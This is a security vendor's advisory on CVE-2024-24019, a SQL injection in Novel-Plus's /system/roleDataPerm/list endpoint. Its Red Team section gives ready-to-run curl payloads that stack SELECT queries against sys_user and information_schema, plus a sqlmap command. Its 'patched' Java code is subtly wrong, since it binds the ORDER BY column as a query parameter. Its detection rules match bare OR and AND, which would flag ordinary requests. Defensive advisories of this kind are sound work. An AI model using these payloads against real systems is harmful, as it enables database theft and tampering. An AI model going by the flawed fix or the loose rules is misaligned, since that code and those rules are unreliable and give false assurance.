CVE-2024-24019

Executive Summary

CVE-2024-24019 is a critical SQL injection vulnerability identified in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the /system/roleDataPerm/list endpoint, where the offset, limit, and sort parameters are not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The vulnerability has a public proof-of-concept (PoC) available, and no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and the sensitive nature of the data at risk.

Supply Chain & Package Security

Novel-Plus is a Java-based web application, typically distributed as a WAR file or via Maven. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby), but the application may rely on third-party libraries. Users should verify the integrity of their deployment and ensure no malicious modifications have been introduced through the supply chain.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the /system/roleDataPerm/list endpoint of Novel-Plus. This endpoint is used to list role data permissions with pagination and sorting capabilities. The application uses MyBatis or a similar ORM framework, but the offset, limit, and sort parameters are concatenated directly into SQL queries without proper sanitization or parameterization.

Root Cause: The application fails to use prepared statements or parameterized queries for these parameters. Instead, it directly concatenates user input into the SQL query string.

Attack Vector: An attacker can craft a malicious HTTP request to the vulnerable endpoint with SQL injection payloads in the offset, limit, or sort parameters.

Example Request:

GET /system/roleDataPerm/list?offset=0&limit=10&sort=id ASC; SELECT * FROM sys_user;-- HTTP/1.1
Host: target.com

Impact: Successful exploitation can lead to:

• Unauthorized access to sensitive data (user credentials, permissions, etc.)
• Data modification or deletion
• Potential privilege escalation
• Full database compromise

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= v4.3.0-RC1):

// Vulnerable: Direct concatenation of user input
String sql = "SELECT * FROM role_data_perm ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;

Patched Code (Hypothetical fix):

// Patched: Use parameterized queries
String sql = "SELECT * FROM role_data_perm ORDER BY ? LIMIT ? OFFSET ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, sort);
ps.setInt(2, limit);
ps.setInt(3, offset);

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Novel-Plus v4.3.0-RC1 or prior
• Network access to the /system/roleDataPerm/list endpoint

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/system/roleDataPerm/list?offset=0&limit=10&sort=id"
   

2. Test for SQL injection:

   curl "http://target.com/system/roleDataPerm/list?offset=0&limit=10&sort=id ASC;--"
   

3. Extract data (example: list all tables):

   curl "http://target.com/system/roleDataPerm/list?offset=0&limit=10&sort=id ASC; SELECT table_name FROM information_schema.tables;--"
   

4. Automated exploitation using SQLMap:

   sqlmap -u "http://target.com/system/roleDataPerm/list?offset=0&limit=10&sort=id" --batch --dbs
   

Lab Setup:

• Deploy Novel-Plus v4.3.0-RC1 in a Docker container
• Use a local MySQL/MariaDB database
• Access the application via browser or curl

Blue Team

Detection:

• Monitor for unusual SQL error messages in logs
• Look for requests with special characters in offset, limit, or sort parameters
• Use WAF rules to block SQL injection patterns

Hunting:

• Search for requests containing SELECT, UNION, --, #, or /* in the query parameters
• Analyze database logs for unexpected queries

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /system/roleDataPerm/list with suspicious parameters
• Requests containing SQL keywords in offset, limit, or sort parameters

File IOCs:

• Modified database entries
• Unexpected files in the web root (e.g., webshells)

Log IOCs:

• SQL errors in application logs (e.g., "You have an error in your SQL syntax")
• Database query logs showing unusual SELECT statements

Detection Engineering

YARA Rule

rule CVE_2024_24019_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-24019 in Novel-Plus"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24019"
    strings:
        $sqli1 = /sort=.*(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|ALTER|CREATE|EXEC|OR|AND|--|#|;)/ nocase
        $sqli2 = /offset=.*(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|ALTER|CREATE|EXEC|OR|AND|--|#|;)/ nocase
        $sqli3 = /limit=.*(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|ALTER|CREATE|EXEC|OR|AND|--|#|;)/ nocase
        $path = "/system/roleDataPerm/list"
    condition:
        $path and any of ($sqli*)
}

Sigma Rule

title: CVE-2024-24019 SQL Injection in Novel-Plus
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /system/roleDataPerm/list endpoint in Novel-Plus
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24019
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/system/roleDataPerm/list"
        cs-uri-query|re:
            - "(?i)(sort|offset|limit)=.*(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|ALTER|CREATE|EXEC|OR|AND|--|#|;)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24019 SQL Injection Attempt in Novel-Plus"; flow:to_server,established; content:"/system/roleDataPerm/list"; http_uri; pcre:"/(sort|offset|limit)=.*(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|ALTER|CREATE|EXEC|OR|AND|--|#|;)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, or restrict access via firewall/WAF.
2. Apply input validation for offset, limit, and sort parameters (allow only alphanumeric and specific characters).
3. Use parameterized queries or prepared statements in the application code.

Long-term Fix:

• Upgrade to a patched version once available.
• Conduct a full code review for similar injection vulnerabilities.
• Implement a Web Application Firewall (WAF) with SQL injection rules.

Workaround:

• If patching is not possible, use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers